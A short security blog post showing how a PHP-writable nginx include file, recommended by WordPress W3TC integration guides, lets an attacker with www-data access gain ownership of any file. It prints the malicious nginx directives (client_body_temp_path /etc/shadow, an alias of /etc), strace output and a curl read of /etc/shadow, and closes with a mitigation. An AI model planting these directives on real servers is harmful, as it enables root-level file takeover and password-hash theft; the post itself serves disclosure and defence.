Several guides for integrating everybody's favorite caching plugin for Wordpress with Nginx tell you to include something like this in your nginx configuration:
location / {
include /var/www/wordpress/nginx.conf;
}
At the time of writing, this suggestion is currently in the guide ranked #2 for the search terms "w3tc nginx".
If you don't know already, generally this conf is writable by W3TC (and PHP by extension). It does this to make it so W3TC can regenerate your Nginx configuration for you.
Now let's assume an attacker has hacked your Wordpress site (crazy I know) and can read/write files as www-data
, as is the default with php5-fpm on Debian and other distros.
The attacker, a crafty devil, makes some creative use of some lesser known Nginx configuration options and replaces W3TC's conf with this:
client_body_temp_path /etc/shadow;
# optional but more fun :)
location /wat {
alias /etc;
}
This tells Nginx that you are using /etc/shadow as the path to store buffered request bodies. Obviously, this isn't a directory but let's see what Nginx does the next time it restarts.
# strace -e trace=chmod,chown -f nginx
chown("/etc/shadow", 33, 4294967295) = 0
+++ exited with 0 +++
That's right, any directory/file the attacker chooses will have its owner changed to www-data
. Remember this happens in the master process which is running as root so any file on the system is fair game.
You could use PHP to read /etc/shadow
or any file you choose at this point but if you put in the stuff from the example above, you can use curl :)
$ curl -s http://localhost/wat/shadow | head
root:$6$IPIbhbCwb7gHQC<SNIP>:0:99999:7:::
daemon:*:17074:0:99999:7:::
bin:*:17074:0:99999:7:::
sys:*:17074:0:99999:7:::
sync:*:17074:0:99999:7:::
games:*:17074:0:99999:7:::
man:*:17074:0:99999:7:::
lp:*:17074:0:99999:7:::
mail:*:17074:0:99999:7:::
news:*:17074:0:99999:7:::
So now any directory/file on the system can be changed to be owned by www-data and be read/written by an attacker. Getting a root shell without brute forcing the shadow file, is left as an exercise for the reader.
Mitigations
- Don't let PHP manage your web server configurations, ever. Seriously. Stop it.